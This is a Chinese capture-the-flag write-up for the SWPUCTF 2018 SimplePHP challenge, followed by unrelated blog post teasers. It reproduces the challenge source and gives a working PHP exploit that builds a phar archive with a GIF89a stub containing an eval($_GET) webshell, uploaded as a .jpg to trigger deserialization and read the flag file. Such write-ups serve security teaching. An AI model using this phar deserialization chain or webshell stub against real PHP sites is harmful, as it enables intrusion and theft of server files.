当前位置：首页 > news >正文

[SWPUCTF 2018]SimplePHP1

news 2025/9/17 13:07:19

打开环境

有查看文件跟上传文件，查看文件里面显示没有文件url貌似可以文件读取

上传文件里面可以上传文件。

先看一下可不可以文件读取

/etc/passwd不能读取，源码提示flag在f1ag.php

看看能不能读取当前的文件，

先把代码摘下来

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { $show->source = $file; $show->_show(); 
} else if (!empty($file)){ die('file doesn\'t exists.'); 
} 
?>

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> 
</div> </script> 
</body> 
</html>

funcion.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } 
} 
function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } 
} 
?>

class.php

 <?php
class C1e4r
{public $test;public $str;public function __construct($name){$this->str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}
}class Show
{public $source;public $str;public function __construct($file){$this->source = $file;   //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}
}
class Test
{public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}
?>

审计一下

由于设置了ini_set('open_basedir','/var/www/html/');

所以只能读取/var/www/html目录

看一下function.php

只能上传后缀为gif.jpeg,jpg,png

好像绕不过去

看一下class.php

有file_get_contents()是不是可以通过构造pop链，实现读取f1ag.php呢

这里暗示用phar反序列化

正好file.ph里面有个file_exists()函数可以出发phar反序列化

分析一下链

file_get函数由get触发，get由__get触发，当指向类中不存在的变量时候可以出发__get魔法函数

看一下参数,$value由params[$key]得到，$key由出发__get函数时传入，可以控制params和key使得$value=f1ag.php

看一下如何出发__get

在Show里面

如果令str['str']=new Test()就会出发Test里面的__get

然后看如何出发_toString

C1e4r里面的echo正好可以出发toString

脚本如下

<?php
class C1e4r{public $test;public $str;
}class Show
{public $source;public $str;
}class Test
{public $file;public $params;
}$a = new Test();
$a->params['source'] ='/var/www/html/f1ag.php';$b = new Show();
$b->str['str']=$a;$c = new C1e4r();
$c->str = $b;@unlink("phar.phar");
$phar = new Phar('phar.phar'); //后缀名必须为phar
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php echo 1;eval($_GET["Smi1e"]);?>'.'<?php __HALT_COMPILER();?>');
$phar -> setMetadata($c); //将自定义的meta-data存入manifest
$phar -> addFromString('test.txt','test');//添加要压缩的文件
$phar -> stopBuffering();   //签名自动计算

生成的exp.phar改成.jpg结尾之后上传

然后访问file=phar://upload/文件名即可拿到flag

md,我这里phar.readonly明明改成Off还是生成不了phar文件，无语死了。

[SWPUCTF 2018]SimplePHP1

打开环境有查看文件跟上传文件，查看文件里面显示没有文件url貌似可以文件读取上传文件里面可以上传文件。先看一下可不可以文件读取 /etc/passwd不能读取，源码提示flag在f1ag.php 看看能不能读取当前的文件， 先把代码摘下来 file.php …...

编程日记 2024/1/29 1:43:00

api管理工具的新发现

一、之前用过的api管理工具关于api管理工具，之前用过yapi和postman，但是后来发现了这两个工具二、新发现的更强大的：Apifox和Eolink Apifox和Eolink，那这两个工具有什么优势呢？ 2.1Apifox 其中 Apifox Postman …...

编程日记 2024/1/29 1:39:57

2024 年 eBPF 和网络趋势预测

本文地址：2024 年 eBPF 和网络趋势预测 | 深入浅出 eBPF 1. eBPF 1.1 eBPF 将继续呈指数增长1.2 eBPF 应用市场1.3 eBPF 在手机中得到更广泛的应用1.4 eBPF 滥用带来的风险2. 可观测 2.1 最受欢迎的可观测性2.2 降低可观测性开销2.3 上下文感知的 Kubernetes 工作负…...

编程日记 2024/1/29 1:36:54

2024.1.27 GNSS 学习笔记

1.精确的描述轨道的一组数据(星历)是实现精确定位与导航的基础。 2.GNSS卫星广播星历的提供方式一般有两种：一种是提供开普勒轨道参数和必要的轨道摄动改正项参数，如GPS、BDS、Galileo三大系统采用此种模式，还有QZSS系统；另一种是…...

编程日记 2024/1/29 1:35:53

Unity - 将项目转为HDRP

Camera window -> Package Manager 之后会出现HDRP向导窗口，均点击修复。在Edit中，更改项目中的材质...

编程日记 2024/1/29 1:33:51

ETCD高可用架构涉及常用功能整理

ETCD高可用架构涉及常用功能整理 1. etcd的高可用系统架构和相关组件1.1 Quorum机制1.2 Raft协议 2. etcd的核心参数2.1 常规配置2.2 特殊优化配置2.2.1 强行拉起新集群 --force-new-cluster2.2.2 兼容磁盘io性能差2.2.3 etcd存储quota 3. etcd常用命令3.1 常用基础命令3.1.1 列…...

编程日记 2024/1/29 1:31:47

深度学习中RGB影像图的直方图均衡化python代码and对图片中指定部分做基于掩模的特定区域直方图均衡化

深度学习很重要的预处理步骤就是需要对做直方图均衡化其中主要分成灰度图以及RGB图的直方图均衡化这俩的方法和代码不同想要去看具体原理的朋友可以查看下面这篇博客的内容写的很详细颜色直方图均衡化(https://www.cnblogs.com/wancy/p/17668345.html) 我们这个场景中会用…...

编程日记 2024/1/29 1:28:45

PyTorch深度学习实战（33）——条件生成对抗网络(Conditional Generative Adversarial Network, CGAN)

PyTorch深度学习实战（33）——条件生成对抗网络 0. 前言1. 条件生成对抗网络1.1 模型介绍1.2 模型与数据集分析 2. 实现条件生成对抗网络小结系列链接 0. 前言条件生成对抗网络 (Conditional Generative Adversarial Network, CGAN) 是一种生成对抗网络…...

编程日记 2024/1/29 1:25:02

编写Bash脚本程序从记录文件中提取history命令的优化，再介绍linux bash语法和结构

目录一、引言二、脚本代码实现三、bash语法和结构 （一）基本语法 1、脚本开始与结束 2、注释 3、变量 4、数据类型 5、控制结构 6、循环控制 7、函数 8、算术运算 9、算术操作符和逻辑操作符 （二）命令相关…...

编程日记 2024/1/29 1:22:59

Python中Numba库装饰器

一、运行速度是Python天生的短板 1.1 编译型语言：C 对于编译型语言，开发完成以后需要将所有的源代码都转换成可执行程序，比如 Windows 下的.exe文件，可执行程序里面包含的就是机器码。只要我们拥有可执行程序，就可以随…...

编程日记 2024/1/29 1:21:58

Spring Boot Aop 执行顺序

Spring Boot Aop 执行顺序 1. 概述在 spring boot 项目中，使用 aop 增强，不仅可以很优雅地扩展功能，还可以让一写多用，避免写重复代码，例如：记录接口耗时，记录接口日志，接口权限&…...

编程日记 2024/1/29 1:19:57

100天精通鸿蒙从入门到跳槽——第16天：ArkTS条件渲染使用教程

博主猫头虎的技术世界 🌟 欢迎来到猫头虎的博客 — 探索技术的无限可能！专栏链接： 🔗 精选专栏：《面试题大全》 — 面试准备的宝典！《IDEA开发秘籍》 — 提升你的IDEA技能！《100天精通Golang》 — Go语言学习之旅！《100天精通鸿蒙》 — 从Web/安卓到鸿蒙大师！100天…...

编程日记 2024/1/29 1:17:55

【Linux C | 进程】Linux 进程间通信的10种方式（1）

😁博客主页😁：🚀https://blog.csdn.net/wkd_007🚀 🤑博客内容🤑：🍭嵌入式开发、Linux、C语言、C、数据结构、音视频🍭 🤣本文内容🤣&a…...

编程日记 2024/1/29 1:16:53

橘子学Mybatis08之Mybatis关于一级缓存的使用和适配器设计模式

前面我们说了mybatis的缓存设计体系，这里我们来正式看一下这玩意到底是咋个用法。首先我们是知道的，Mybatis中存在两级缓存。分别是一级缓存(会话级)，和二级缓存(全局级)。下面我们就来看看这两级缓存。一、准备工作 1、准备数据库在此之…...

编程日记 2024/1/29 1:15:53

看图说话：Git图谱解读

很多新加入公司的同学在使用Git各类客户端管理代码的过程中对于Git图谱解读不太理解，我们常用的Git客户端是SourceTree，配合P4Merge进行冲突解决基本可以满足日常工作大部分需要。不同的Git客户端工具对图谱展示会有些许差异，以下是SourceTre…...

编程日记 2024/1/29 1:13:51

linux新增用户，指定home目录和bash脚本且加入到sudoer列表

前言近3年一直用自动化脚本，搞得连useradd命令都不会用了。哈哈。今天还碰到一个问题，有个系统没有‘useradd’和‘passwd’命令，直接蒙了。当然直接用apt install就能安装，不然还得自己编译折腾一会。新建用户 useradd -d /h…...

编程日记 2024/1/29 1:12:50

经典目标检测YOLO系列(三)YOLOV3的复现(1)总体网络架构及前向处理过程

经典目标检测YOLO系列(三)YOLOV3的复现(1)总体网络架构及前向处理过程和之前实现的YOLOv2一样，根据《YOLO目标检测》(ISBN:9787115627094)一书，在不脱离YOLOv3的大部分核心理念的前提下，重构一款较新的YOLOv3检测器，来对YOLOv3有…...

编程日记 2024/1/29 1:10:49

OpenGL/C++_学习笔记（四）空间概念与摄像头

汇总页上一篇: OpenGL/C_学习笔记（三） 绘制第一个图形 OpenGL/C_学习笔记（四）空间概念与摄像头空间概念与摄像头前置科技树: 线性代数空间概念流程简述各空间相关概念详述空间概念与摄像头前置科技树: 线性代数矩阵/向量定…...

编程日记 2024/1/29 1:09:47

C语言2024-1-27练习记录

#define _CRT_SECURE_NO_WARNINGS 1#include<stdio.h>//int main() //{ // char c[15] { I, ,a,n,d, ,you,. }; // int i; // for(i 0; i < 15; i) //这个地方有几个地方需要注意一下，首先变量指定之后必须要加上英文状态下的分号 // printf("%c&q…...

编程日记 2024/1/29 1:08:47

深入解析HTTPS：安全机制全方位剖析

随着互联网的深入发展，网络传输中的数据安全性受到了前所未有的关注。HTTPS，作为HTTP的安全版本，为数据在客户端和服务器之间的传输提供了加密和身份验证，从而确保了数据的机密性、完整性和身份真实性。本文将详细探讨HTTPS背后的…...

编程日记 2024/1/29 1:07:45

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造，完美适配AGV和无人叉车。同时，集成以太网与语音合成技术，为各类高级系统（如MES、调度系统、库位管理、立库等）提供高效便捷的语音交互体验。 L…...

编程新知 2025/9/17 11:41:13

基于Flask实现的医疗保险欺诈识别监测模型

基于Flask实现的医疗保险欺诈识别监测模型项目截图项目简介社会医疗保险是国家通过立法形式强制实施，由雇主和个人按一定比例缴纳保险费，建立社会医疗保险基金，支付雇员医疗费用的一种医疗保险制度， 它是促进社会文明和进步的…...

编程新知 2025/9/7 2:01:42

【解密LSTM、GRU如何解决传统RNN梯度消失问题】

解密LSTM与GRU：如何让RNN变得更聪明？ 在深度学习的世界里，循环神经网络（RNN）以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而，传统RNN存在的一个严重问题——梯度消失&#…...

编程新知 2025/8/3 16:10:07

条件运算符

C中的三目运算符（也称条件运算符，英文：ternary operator）是一种简洁的条件选择语句，语法如下： 条件表达式 ? 表达式1 : 表达式2• 如果“条件表达式”为true，则整个表达式的结果为“表达式1”…...

编程新知 2025/9/11 12:54:54

10-Oracle 23 ai Vector Search 概述和参数

一、Oracle AI Vector Search 概述企业和个人都在尝试各种AI，使用客户端或是内部自己搭建集成大模型的终端，加速与大型语言模型（LLM）的结合，同时使用检索增强生成（Retrieval Augmented Generation &#…...

编程新知 2025/9/13 17:41:17

wpf在image控件上快速显示内存图像

wpf在image控件上快速显示内存图像https://www.cnblogs.com/haodafeng/p/10431387.html 如果你在寻找能够快速在image控件刷新大图像（比如分辨率3000*3000的图像）的办法，尤其是想把内存中的裸数据（只有图像的数据，不包…...

编程新知 2025/9/7 8:49:50

抽象类和接口（全）

一、抽象类 1.概念：如果⼀个类中没有包含⾜够的信息来描绘⼀个具体的对象，这样的类就是抽象类。像是没有实际⼯作的⽅法,我们可以把它设计成⼀个抽象⽅法，包含抽象⽅法的类我们称为抽象类。 2.语法在Java中，⼀个类如果被 abs…...

编程新知 2025/9/13 5:37:06

nnUNet V2修改网络——暴力替换网络为UNet++

更换前，要用nnUNet V2跑通所用数据集，证明nnUNet V2、数据集、运行环境等没有问题阅读nnU-Net V2 的 U-Net结构，初步了解要修改的网络，知己知彼，修改起来才能游刃有余。 U-Net存在两个局限，一是网络的最佳深度因应用场景而异，这取决于任务的难度和可用于训练的标注数…...

编程新知 2025/9/9 10:08:47

自然语言处理——文本分类

文本分类传统机器学习方法文本表示向量空间模型特征选择文档频率互信息信息增益（IG） 分类器设计贝叶斯理论：线性判别函数文本分类性能评估P-R曲线ROC曲线将文本文档或句子分类为预定义的类或类别， 有单标签多类别文本分类和多…...

编程新知 2025/9/9 10:07:48

绕过 Xcode？使用 Appuploader和主流工具实现 iOS 上架自动化

iOS 应用的发布流程一直是开发链路中最“苹果味”的环节：强依赖 Xcode、必须使用 macOS、各种证书和描述文件配置……对很多跨平台开发者来说，这一套流程并不友好。特别是当你的项目主要在 Windows 或 Linux 下开发（例如 Flutter、React Na…...

编程新知 2025/7/23 14:23:40

相关文章：